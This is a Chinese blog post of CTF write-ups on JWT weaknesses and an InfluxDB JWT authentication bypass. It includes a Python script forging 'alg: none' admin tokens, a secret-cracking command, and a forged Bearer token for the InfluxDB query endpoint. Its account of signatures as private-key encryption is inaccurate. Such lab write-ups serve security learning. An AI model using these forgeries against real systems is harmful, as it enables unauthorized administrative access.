JWT

JWT的优点

  1. 可扩展性:JWT的载荷部分可以自定义,可以根据具体需求添加额外的用户信息,实现灵活的身份验证和授权。
  2. 可靠性:JWT通过数字签名的方式保证了其完整性和真实性,可以有效防止令牌被篡改或伪造。
  3. 安全性:JWT的签名过程使用了加密算法,保证了令牌的安全性。同时,JWT的令牌是无状态的,即服务端不需要存储令牌信息,降低了安全风险。

JWT(JSON Web Token)的结构由三部分组成,分别是HeaderPayloadSignature

HEADER:ALGORITHM & TOKEN TYPE 头部(Header)

头部描述了JWT的元数据,包括算法(alg)和类别(typ)等信息。其中,alg描述了用于签名的算法,例如HMAC-SHA256(HS256);typ表示令牌类型,通常设置为JWT,表示这是一个JWT类型的令牌。

{
  "alg": "None",
  "typ": "jwt"
}

PAYLOAD:DATA 载荷(Payload)

载荷包含了用户信息和其他元数据。这些信息可以是用户的姓名、角色、到期时间等。载荷是JWT的主体部分,用于传递用户信息。

[
  {
    "iss": "admin",
    "iat": 1717499772,
    "exp": 1717506972,
    "nbf": 1717499772,
    "sub": "admin",
    "jti": "6b9d48c1b7b806a7ecfd1f45c8031b3c"
  }
]

Signature签名

签名用于验证JWT的完整性和真实性。签名通过对头部和载荷进行哈希运算,并使用私钥进行加密生成。接收者可以使用公钥对签名进行解密,从而验证JWT的真实性和来源。

web345

根据提示,抓包访问/admin

这里也可以分开解密,也就是在小数点前面的base64解密,以小数点分开,比较麻烦,使用https://jwt.io/ ()https://www.box3.cn/tools/jwt.html,解开查看

使用的是”None”,表示没有使用任何算法进行签名,即未进行数字签名。

将sub值改成:admin ,然后base,改入即可

web346

这里的alg 可以更改“none”

import base64


def jwtBase64Encode(x):
    return (
        base64.b64encode(x.encode("utf-8"))
        .decode()
        .replace("+", "-")
        .replace("/", "_")
        .replace("=", "")
    )


header = '{"alg": "none", "typ": "JWT"}'
payload = '{"iss":"admin","iat":1717514570,"exp":1717521770,"nbf":1717514570,"sub":"admin","jti":"ea8ff8a797b8cba94c0ee1d692a9b20a"} '

print(jwtBase64Encode(header) + "." + jwtBase64Encode(payload) + ".")

下面的都和上面一样了

web347

工具爆破:https://github.com/alwaystest18/jwtCracker

./jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcxNzUxNzEyMCwiZXhwIjoxNzE3NTI0MzIwLCJuYmYiOjE3MTc1MTcxMjAsInN1YiI6InVzZXIiLCJqdGkiOiJmMzI5NWFkNzJkNmU3YjUwY2ZhYzVjZTI0NTZmNWQzNSJ9.7B01d_ro-3HY8bXNRYzfyIFN3hVAbkceL9FQ1YpUjAQ
填入密码 :123456  以及admin  

InfluxDB JWT 认证绕过漏洞

访问../debug/vars即可查看一些服务信息,但此时执行SQL语句则会出现401错误

https://jwt.io/#debugger-io

借助https://jwt.io/来生成jwt token:

{
  "alg": "HS256",
  "typ": "JWT"
}
///////////////
{
  "username": "admin",
  "exp": 1718785859
}

其中,admin一个已经存在的用户,exp一个时间戳,代表这个token的过期时间,你需要设置为一个未来的时间戳。借助https://tool.lu/timestamp/来生成时间戳。

抓取/query页面的数据包,将请求方式修改为POST,添加以下请求字段

Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzE4Nzg1ODU5fQ.rHwwmfwtbE2RiolcRi8BWwWnj1Lk7o_HAvb0_f3fNXo
Content-Type: application/x-www-form-urlencoded

发送带有这个jwt token的数据包,可见SQL语句执行成功:

文章作者:摘星怪
版权声明:本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明文章地址及作者
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇